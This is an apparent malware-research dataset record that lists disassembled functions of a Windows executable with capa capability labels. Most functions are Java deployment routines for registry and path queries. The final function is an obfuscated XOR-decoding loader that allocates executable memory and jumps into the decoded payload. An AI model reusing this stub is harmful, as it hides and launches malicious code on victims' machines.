joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406e86
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x80c
mov eax, dword [0x41a174]
xor eax, esp
mov dword [esp + 0x808], eax
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x820]
lea eax, [esp + 0x18]
mov esi, 0x800
xor ebp, ebp
push esi
push ebp
push eax
call sub.VCRUNTIME140.dll_memset
mov ebx, dword [esp + 0x830]
lea eax, [esp + 0x24]
push 0x40f690
push str.SOFTWAREJavaSoftJava_Plug_in
push 0x40f6bc
push esi
push eax
mov dword [esp + 0x34], ebx
call fcn.00407436
add esp, 0x20
lea eax, [esp + 0x10]
push eax
movzx eax, byte [esp + 0x82c]
shl eax, 8
add eax, 0x20019
push eax
push ebp
lea eax, [esp + 0x24]
push eax
push reloc.oleaut32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406f65
lea eax, [esp + 0x14]
push eax
push edi
push ebp
push 2
push 0x40f6c4
push ebp
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegGetValueA]
push dword [esp + 0x10]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x406f65
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406f39
sub ecx, edx
lea eax, [ecx + 5]
cmp eax, ebx
ja 0x406f65
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x406f4a
mov eax, dword [str._bin]
mov dword [edi], eax
mov al, byte [0x40f6d4]
mov byte [edi + 4], al
mov al, 1
jmp 0x406f67
xor al, al
mov ecx, dword [esp + 0x818]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040baa8
add esp, 0x80c
ret

Function at 0x407be2
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x20c]
sub esp, 0x20c
push 0xffffffffffffffff
push 0x40d788
mov eax, dword fs:[0]
push eax
sub esp, 0xc
mov eax, dword [0x41a174]
xor eax, ebp
mov dword [ebp + 0x208], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, dword [ebp + 0x214]
lea eax, [ebp]
xor ebx, ebx
push eax
push ebx
push ebx
push 0x1a
push ebx
mov byte [edi], bl
mov dword [ebp - 4], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
test esi, esi
js 0x407ccf
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x14]
call fcn.004098db
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.0040993e
push 0x104
push eax
push dword [ebp + 0x218]
push edi
call dword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsnbcpy_s]
mov ecx, dword [ebp - 0x14]
add esp, 0x10
test ecx, ecx
je 0x407ca5
call fcn.00409d5b
jmp 0x407ca5
xor eax, eax
test esi, esi
setns al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.0040baa8
add ebp, 0x20c
leave
ret
push esi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__szPath_
call fcn.0040a002
pop ecx
pop ecx
push ebx
push esi
call fcn.0040d04b
int3
Function at 0x407ce4
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x20c]
sub esp, 0x20c
push 0xffffffffffffffff
push 0x40d7b8
mov eax, dword fs:[0]
push eax
sub esp, 0xc
mov eax, dword [0x41a174]
xor eax, ebp
mov dword [ebp + 0x208], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, dword [ebp + 0x214]
lea eax, [ebp]
xor ebx, ebx
push eax
push ebx
push ebx
push 0x23
push ebx
mov byte [edi], bl
mov dword [ebp - 4], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
test esi, esi
js 0x407dd1
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x14]
call fcn.004098db
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.0040993e
push 0x104
push eax
push dword [ebp + 0x218]
push edi
call dword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsnbcpy_s]
mov ecx, dword [ebp - 0x14]
add esp, 0x10
test ecx, ecx
je 0x407da7
call fcn.00409d5b
jmp 0x407da7
xor eax, eax
test esi, esi
setns al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.0040baa8
add ebp, 0x20c
leave
ret
push esi
push str.Error:_08x_in_::SHGetFolderPathW_0__CSIDL_COMMON_APPDATA__NULL__SHGFP_TYPE_CURRENT__szPath_
call fcn.0040a002
pop ecx
pop ecx
push ebx
push esi
call fcn.0040d04b
int3

Function at 0x407f4a
Capabilities:
Get common file path

Disassembly:
push 0x14
mov eax, 0x40d7e0
call fcn.0040bbc5
mov ebx, dword [ebp + 8]
xor edi, edi
xor eax, eax
mov dword [ebp - 4], edi
mov esi, edi
mov dword [ebp - 0x14], esi
mov word [ebx], ax
call fcn.00407e60
test eax, eax
je 0x407f7b
call fcn.00407e52
mov esi, eax
mov dword [ebp - 0x14], eax
push 0x104
push ebx
push esi
push edi
push 0x40e310
call dword [sym.imp.SHELL32.dll_SHGetFolderPathEx]
mov esi, eax
test esi, esi
js 0x408091
jmp 0x407fcb
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x407fd9
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
test esi, esi
jns 0x408089
push ebx
push edi
push edi
push 0x1a
push edi
mov dword [ebp - 4], 2
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
test esi, esi
jns 0x40803a
push esi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__pPath_
jmp 0x408097
or dword [ebp - 4], 0xffffffff
test esi, esi
jns 0x408089
push 1
push 0x1a
push ebx
push edi
mov dword [ebp - 4], 4
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, eax
test esi, esi
jns 0x408089
push esi
push str.Error:_08x_in_SHGetSpecialFolderPathW_NULL__pPath__CSIDL_APPDATA__TRUE_
jmp 0x408097
mov eax, esi
call fcn.0040bb34
ret
push esi
push str.Error:_08x_in_SHGetFolderPathEx_FOLDERID_LocalAppDataLow__0__hToken__pPath__MAX_PATH_
call fcn.0040a002
pop ecx
pop ecx
push edi
push esi
call fcn.0040d04b
int3

Function at 0x4089b2
Capabilities:
Query environment variable

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
je 0x4089d6
push dword [esp + 0xc]
push dword [esp + 0xc]
push str.USER_JPI_PROFILE
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
xor ecx, ecx
inc ecx
test eax, eax
cmovne esi, ecx
mov eax, esi
pop esi
ret
Function at 0x409636
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x108]
sub esp, 0x108
push 0xffffffffffffffff
push 0x40d83b
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x41a174]
xor eax, ebp
mov dword [ebp + 0x104], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x410204
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
add esp, 0xc
test eax, eax
jne 0x40972e
push dword [ebp - 0x18]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
cmp dword [0x41beb8], 0
pop ecx
je 0x4096a6
xor eax, eax
inc eax
jmp 0x409730
lea eax, [ebp]
mov esi, 0x104
push eax
push esi
call dword [sym.imp.kernel32.dll_GetTempPathA]
cmp eax, esi
ja 0x40972e
test eax, eax
je 0x40972e
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x10]
call fcn.00409890
and dword [ebp - 4], 0
lea ecx, [ebp - 0x14]
push str.JavaDeployReg.log
call fcn.00409890
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x10]
call fcn.0040995c
mov ecx, dword [ebp - 0x14]
mov byte [ebp - 4], 0
test ecx, ecx
je 0x4096fb
call fcn.00409d5b
push 0x410230
lea ecx, [ebp - 0x10]
call fcn.0040993e
push eax
push 0x41beb8
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
mov ecx, dword [ebp - 0x10]
add esp, 0xc
mov esi, eax
neg esi
sbb esi, esi
test ecx, ecx
je 0x409729
call fcn.00409d5b
lea eax, [esi + 1]
jmp 0x409730
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp + 0x104]
xor ecx, ebp
call fcn.0040baa8
add ebp, 0x108
leave
ret

Function at 0x409be0
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x11c
mov eax, dword [0x41a174]
xor eax, esp
mov dword [esp + 0x118], eax
push ebx
mov ebx, dword [esp + 0x124]
push ebp
push esi
push edi
mov edi, ecx
xor ebp, ebp
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], ebp
mov dword [esp + 0x18], ebp
mov dword [esp + 0x1c], ebp
mov eax, dword [edi + 4]
or eax, 0x2001f
push eax
push ebx
push dword [edi]
call fcn.0040d04b
mov esi, eax
test esi, esi
jne 0x409c8f
lea eax, [esp + 0x20]
push eax
push ebp
push ebp
push ebp
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x3c]
push eax
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x409c6a
lea eax, [esp + 0x28]
push eax
call fcn.00409be0
mov esi, eax
test esi, esi
jne 0x409c8f
lea eax, [esp + 0x20]
xor ecx, ecx
push eax
push ecx
push ecx
push ecx
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x3c]
push eax
push ecx
push dword [esp + 0x30]
mov dword [esp + 0x30], 0x100
call ebp
lea ecx, [esp + 0x14]
test eax, eax
je 0x409c45
call fcn.004099b5
push ebx
mov ecx, edi
call fcn.004099cf
mov esi, eax
lea ecx, [esp + 0x14]
call fcn.004099b5
mov ecx, dword [esp + 0x128]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040baa8
add esp, 0x11c
ret 4
Function at 0x409e7e
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x824
mov eax, dword [0x41a174]
xor eax, esp
mov dword [esp + 0x820], eax
push ebx
push ebp
mov ebp, dword [esp + 0x830]
lea eax, [esp + 0x428]
push esi
mov esi, dword [esp + 0x838]
xor ebx, ebx
push edi
mov edi, 0x400
push edi
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
push esi
push ebx
push ebp
push 0xffffffffffffffff
lea eax, [esp + 0x44c]
push edi
push eax
call fcn.0040d04b
movzx ecx, byte [esp + 0x853]
lea edi, [esp + 0x34]
xor edx, edx
test eax, eax
push 8
cmovs ecx, edx
xor eax, eax
mov byte [esp + 0x857], cl
pop ecx
rep stosd dword es:[edi], eax
lea eax, [esp + 0x34]
push 0x20
push eax
call fcn.0040d04b
push 0x413098
lea eax, [esp + 0x40]
push 0x20
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
push 0x400
lea eax, [esp + 0x6c]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
mov ecx, ebp
add esp, 0x44
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409f24
sub ecx, edx
cmp ecx, 6
jbe 0x409f4c
lea eax, [ebp - 6]
add eax, ecx
push str.__08x_
push eax
call dword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbscmp]
pop ecx
pop ecx
test eax, eax
jne 0x409f4c
xor ebx, ebx
inc ebx
lea esi, [esp + 0x10]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x409f53
sub esi, ecx
lea eax, [esp + 0x430]
push eax
mov ecx, 0x4119e3
test ebx, ebx
mov eax, str.Error:
cmove eax, ecx
push eax
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
push eax
push str.P:_04d_T:_04d__s_s
mov eax, 0x3ff
sub eax, esi
push 0xffffffffffffffff
push eax
lea eax, [esp + 0x4c]
add eax, esi
push eax
call fcn.0040d04b
mov ecx, dword [esp + 0x44b]
test eax, eax
push esi
lea eax, [esp + 0x34]
mov edx, 0x2e2e2e
push eax
lea eax, [esp + 0x58]
cmovs ecx, edx
push eax
mov dword [esp + 0x457], ecx
call sub.VCRUNTIME140.dll_memcpy
lea edi, [esp + 0x5c]
add esp, 0x2c
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x409fcd
mov ax, word [0x4130c4]
mov word [edi], ax
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
mov ecx, dword [esp + 0x830]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040baa8
add esp, 0x824
ret
Function at 0x40a3c6
Capabilities:
Query environment variable
Query or enumerate registry value
Set registry value

Disassembly:
mov eax, 0x1010
call fcn.0040bac0
mov eax, dword [0x41a174]
xor eax, esp
mov dword [esp + 0x100c], eax
push ebx
mov ebx, dword [esp + 0x1018]
lea eax, [esp + 0x10]
push ebp
push esi
push edi
mov edi, dword [esp + 0x1028]
mov ebp, 0x800
xor esi, esi
mov dword [esp + 0x18], 1
push ebp
push esi
push eax
mov dword [esp + 0x1c], esi
call sub.VCRUNTIME140.dll_memset
push ebp
lea eax, [esp + 0x82c]
push esi
push eax
call sub.VCRUNTIME140.dll_memset
push ebx
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
add esp, 0x1c
test eax, eax
je 0x40a461
push eax
push dword [esp + 0x1030]
push edi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
add esp, 0xc
test eax, eax
je 0x40a5d9
xor eax, eax
mov ecx, dword [esp + 0x101c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040baa8
add esp, 0x1010
ret
lea eax, [esp + 0x10]
push eax
push 0x20019
push esi
push dword [0x41a160]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40a446
lea eax, [esp + 0x102c]
push eax
push edi
lea eax, [esp + 0x20]
push eax
push esi
push ebx
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x40a5bd
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x800
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x20]
push eax
push esi
push 0x4133d0
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40a4dc
xor esi, esi
inc esi
jmp 0x40a5bd
push dword [esp + 0x10]
call ebp
lea eax, [esp + 0x10]
push eax
push 0x20019
push esi
push str.SOFTWAREOracleJavaDeploy
push reloc.oleaut32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40a4d4
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x800
push eax
lea eax, [esp + 0x820]
push eax
lea eax, [esp + 0x20]
push eax
push esi
push str.deployment.modified.timestamp
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40a4d4
lea eax, [esp + 0x1c]
mov dword [esp + 0x14], 0x800
push eax
lea eax, [esp + 0x820]
push eax
call dword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbscmp]
pop ecx
pop ecx
test eax, eax
js 0x40a5d9
lea eax, [esp + 0x14]
push eax
push edi
lea eax, [esp + 0x20]
push eax
push esi
push ebx
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40a4d4
push dword [esp + 0x10]
call ebp
call fcn.0040d04b
test eax, eax
jne 0x40a5d9
lea eax, [esp + 0x10]
push eax
push 0x20006
push esi
push dword [0x41a160]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40a446
push dword [esp + 0x14]
push edi
push 1
push esi
push ebx
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x40a5ca
push dword [esp + 0x10]
call ebp
mov eax, esi
jmp 0x40a448
push dword [esp + 0x10]
call ebp
push edi
push ebx
call fcn.0040d04b
pop ecx
pop ecx
xor eax, eax
inc eax
jmp 0x40a448
Function at 0x40a7ae
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
mov eax, 0x1814
call fcn.0040bac0
mov eax, dword [0x41a174]
xor eax, esp
mov dword [esp + 0x1810], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x1824]
lea eax, [esp + 0x1c]
push edi
mov ebp, 0x800
xor ebx, ebx
push ebp
push ebx
push eax
mov edi, ebx
call sub.VCRUNTIME140.dll_memset
push ebp
lea eax, [esp + 0x830]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x18
mov dword [esp + 0x10], ebp
lea eax, [esp + 0x18]
push eax
push 0x20019
push ebx
push 0x4132d4
push reloc.oleaut32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40a921
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
lea eax, [esp + 0x10]
push ebx
push ebx
push ebx
push ebx
push eax
lea eax, [esp + 0x34]
push eax
push ebx
push dword [esp + 0x34]
call ebp
test eax, eax
jne 0x40a921
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [esp + 0x20]
push eax
push 0x413300
push 0x41332c
lea eax, [esp + 0x82c]
push 0x800
push eax
call fcn.00407436
add esp, 0x14
lea eax, [esp + 0x14]
push eax
push 0x20019
push 0
lea eax, [esp + 0x82c]
push eax
push reloc.oleaut32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40a8f9
push 0x800
push eax
lea eax, [esp + 0x1028]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x10], 0x800
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x1024]
push eax
lea eax, [esp + 0x24]
push eax
push 0
push 0x413334
push dword [esp + 0x28]
call ebx
test eax, eax
jne 0x40a8f9
cmp dword [esp + 0x10], eax
jbe 0x40a8f9
mov eax, dword [esp + 0x182c]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x10]
push eax
push esi
lea eax, [esp + 0x24]
push eax
push 0
push 0x413340
push dword [esp + 0x28]
call ebx
xor eax, eax
mov dword [esp + 0x10], 0x800
push eax
push eax
push eax
push eax
lea eax, [esp + 0x20]
inc edi
push eax
lea eax, [esp + 0x34]
push eax
push edi
push dword [esp + 0x34]
call ebp
test eax, eax
je 0x40a848
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x40a924
sub esi, ecx
xor eax, eax
mov ecx, dword [esp + 0x1820]
cmp eax, esi
pop edi
pop esi
pop ebp
sbb eax, eax
pop ebx
xor ecx, esp
neg eax
call fcn.0040baa8
add esp, 0x1814
ret
Function at 0x40b41f
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
mov eax, 0x2014
call fcn.0040bac0
mov eax, dword [0x41a174]
xor eax, esp
mov dword [esp + 0x2010], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x2024]
lea eax, [esp + 0x1c]
push edi
mov ebp, 0x800
mov dword [esp + 0x1c], esi
xor ebx, ebx
push ebp
push ebx
push eax
mov edi, ebx
call sub.VCRUNTIME140.dll_memset
push ebp
lea eax, [esp + 0x830]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x18
mov dword [esp + 0x10], ebp
lea eax, [esp + 0x18]
push eax
push 0x20019
push ebx
push 0x41616c
push reloc.oleaut32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40b59a
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
lea eax, [esp + 0x10]
push ebx
push ebx
push ebx
push ebx
push eax
lea eax, [esp + 0x34]
push eax
push ebx
push dword [esp + 0x34]
call ebp
test eax, eax
jne 0x40b59a
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [esp + 0x20]
push eax
push str.SOFTWAREJavaSoftJava_Runtime_Environment
push str._s_s
lea eax, [esp + 0x82c]
push 0x800
push eax
call fcn.00407436
add esp, 0x14
lea eax, [esp + 0x14]
push eax
push 0x20019
push 0
lea eax, [esp + 0x82c]
push eax
push reloc.oleaut32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40b572
push 0x800
push eax
lea eax, [esp + 0x1028]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x10], 0x800
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x1024]
push eax
lea eax, [esp + 0x24]
push eax
push 0
push str.RuntimeLib
push dword [esp + 0x28]
call ebx
test eax, eax
jne 0x40b572
cmp dword [esp + 0x10], eax
jbe 0x40b572
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x800
push eax
lea eax, [esp + 0x1824]
push eax
lea eax, [esp + 0x24]
push eax
push 0
push 0x4161d8
push dword [esp + 0x28]
call ebx
xor eax, eax
mov dword [esp + 0x10], 0x800
push eax
push eax
push eax
push eax
lea eax, [esp + 0x20]
inc edi
push eax
lea eax, [esp + 0x34]
push eax
push edi
push dword [esp + 0x34]
call ebp
test eax, eax
je 0x40b4bd
lea eax, [esp + 0x1820]
mov ecx, esi
push eax
call fcn.00409890
mov ecx, dword [esp + 0x2020]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040baa8
add esp, 0x2014
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x40a3fb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x40a40a
pop dword [ebp - 0x44]
mov eax, 0xaa03ad9c
add eax, 0x563cf66e
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x8968b038
add dword [ebp - 0x54], 0xc4e99513
mov dword [ebp - 0x50], 0xa0d2d8c
add dword [ebp - 0x50], 0x28261eb9
mov dword [ebp - 0x4c], 0x49814f39
add dword [ebp - 0x4c], 0x2caf4f5
mov dword [ebp - 0x48], 0x246550ef
add dword [ebp - 0x48], 0xdb9aaf11
lea eax, [ebp - 0x54]
push eax
mov eax, 0xebdf0fee
sub eax, 0xeb9cdf7a
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xdb5606ee
sub dword [ebp - 0x54], 0x66e39d98
mov dword [ebp - 0x50], 0xa63c34cb
add dword [ebp - 0x50], 0x9b302caa
mov dword [ebp - 0x4c], 0x102c8187
sub dword [ebp - 0x4c], 0xacbd151b
mov dword [ebp - 0x48], 0xa3036d73
add dword [ebp - 0x48], 0x5cfc928d
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x435a2be8
sub eax, 0x4317fac4
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3c28b
push 0
call eax
mov ecx, 0x48fdac05
sub ecx, 0x48fd6a21
xor ebx, ebx
add ebx, eax
mov esi, 0xdb3ee1f9
sub esi, 0xdafb9df9
add esi, dword [ebp - 0x44]
mov edx, 0xf36f730c
sub edx, 0x5c7dd299
mov edi, dword [esi]
add dword [ebp - 0x34], esi
xor edi, edx
add dword [ebp - 0x28], 0x61edbc52
mov dword [ebx], edi
xor dword [ebp - 0x20], esi
add ebx, 0xd8e0288a
sub ebx, 0xd8e02886
add esi, 0x956b6848
sub esi, 0x956b6844
loop 0x40a52e
add eax, 0xf8e27d0b
sub eax, 0xf8e182a8
mov ebx, eax
add eax, 0xd5a66ff5
add eax, 0x2a599010
mov ecx, 0xd34edb3
add ecx, 0xf30b124d
add ecx, dword [ebp - 0x44]
call ebx
leave
ret